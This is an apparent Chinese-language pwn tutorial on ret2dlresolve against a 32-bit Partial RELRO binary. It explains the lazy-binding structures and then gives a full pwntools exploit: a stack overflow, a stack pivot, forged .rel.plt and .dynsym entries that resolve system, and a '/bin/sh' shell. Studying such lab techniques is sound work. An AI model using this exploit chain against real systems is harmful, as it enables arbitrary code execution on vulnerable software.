ret2dlresolve(2)
在ret2dlresolve(1)中,关闭了Partial RELRO保护,因此能够对.dynamic进行修改,从而改变dynamic中dynstr的地址,通过伪造一个dynstr来实现将函数write链接到system函数
那么如果打开了Partial RELRO保护,将如何进行
代码还是之前的代码,通过如下方式进行编译
gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32
你也可以继续用关闭了Partial RELRO的程序,就当换个思路去执行system
dlresolve前后过程
在调用dl_runtime_resolve函数前,需要压入两个参数
- reloc_arg,函数自己plt中push的内容,是该函数在.rel.plt的偏移
- link_map,公共plt表项,在plt开始push的参数
以setuf第一次调用为例
首先,第一个jmp会去判断函数是否已经有链接过,如果有就会到got表去执行,如果没有就向下执行
push 0,就是传入dl_runtime_resolve的参数reloc_arg,接着跳转到plt开始处执行第二个push
这里压入的就是参数link_map,压入的是一个地址
通过link_map能够找到.dynamic的地址
这两个参数都可以控制,一是控制reloc_arg能够修改函数.rel.plt的位置执行自己伪造的值,二是控制link_map指向的地址,并在该地址处伪造数据,并将.dynstr的地址修改之后就和之前那篇文章一样了(第二种暂时还在测试中)
先来看修改reloc_arg的意义何在
还是上面的setbuf,他传入的reloc_arg是0,因此程序会在.rel.plt + 0处去寻找对应重定位表项
得到两个值,第一个值是该函数got表地址,第二个值是.dynsym的偏移
通过定位到dynsym表项内容,能够找到这个函数的符号定义,也就是定位到.dynstr对应的位置。
关于这里的计算
1、根据reloc_arg定位到setbuf的重定位表0x8048330
setbuf重定位表项中804A00Ch, 107h这两个值,第二个0x107
0x107分两个部分,前一个字节也就是0111,应该是某种标志位,具体对应什么还不了解
后面两个字节00010000 -> 0x10就是在.dynsym中的偏移
2、之后根据偏移找到表项,其中有几个值,这里就看第一个的意义
offset aSetbuf - offset byte_8048278是对.dynstr中的偏移,0x33
3、通过偏移在.dynstr找到该函数的符号setbuf
整体流程(来上大佬的图)
利用
到这里,目标就很明确了,修改reloc_arg指向自己定义的重定位表项,在重定位表项中修改动态符号表也就是.dynsym的偏移,使其能够指向自己定义的符号的地址
需要注意的是,要先进行栈迁移,如果直接在原栈上操作会出现很多莫名奇妙的问题,自己尝试不进行栈迁移,在测试修改动态符号表时,我输入的数据并没有到我期望的位置去,后来了解到是因为缓冲区大小不够的原因,导致后面写入的 数据跑到前面去了,所以还是要进行栈迁移。
至于迁移到那,就选一个可写,并且没被占用的位置就行
exp
from pwn import *
#context.log_level="debug"
context.arch="i386"
p = process("./main32")
rop = ROP("./main32")
elf = ELF("./main32")
p.recvline()
def debug():
gdb.attach(p)
pause()
offset = 92
rop.raw(offset*'a')
#栈迁移
base_addr = 0x0804a340
rop.read(0, base_addr, 100)
rop.migrate(base_addr)
p.sendline(rop.chain())
rop = ROP("./main32")
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
write_reloc_addr = base_addr + 24
write_dynsym_addr = write_reloc_addr + 0x10
system_addr = write_dynsym_addr + 0x10
print(hex(dynsym))
print(hex(write_dynsym_addr))
write_reloc = flat([0x804A01C, (((write_dynsym_addr - dynsym) & 0xfff0) << 4) + 7])
#write_reloc = flat([0x804A01C, 0x607])
print(hex((((write_dynsym_addr - dynstr) & 0xfff0) << 4) + 7))
write_dynsym = flat([system_addr + 0x8 - dynstr, 0, 0, 0x12])
#write_dynsym = flat([0x4c, 0, 0, 0x12])
print("write_dynsym:" + hex(write_dynsym_addr))
print("system_addr:" + hex(system_addr))
rop.raw(plt0) #4
rop.raw(write_reloc_addr - rel_plt)
rop.raw(elf.sym['main'])
rop.raw(system_addr)
rop.raw(1)
rop.raw(1)
rop.raw(write_reloc)
rop.raw('a' * 8)
rop.raw(write_dynsym)
print(system_addr - base_addr)
print(len(rop.chain()))
rop.raw('/bin/sh\x00')
rop.raw('system\x00')
p.sendline(rop.chain())
p.interactive()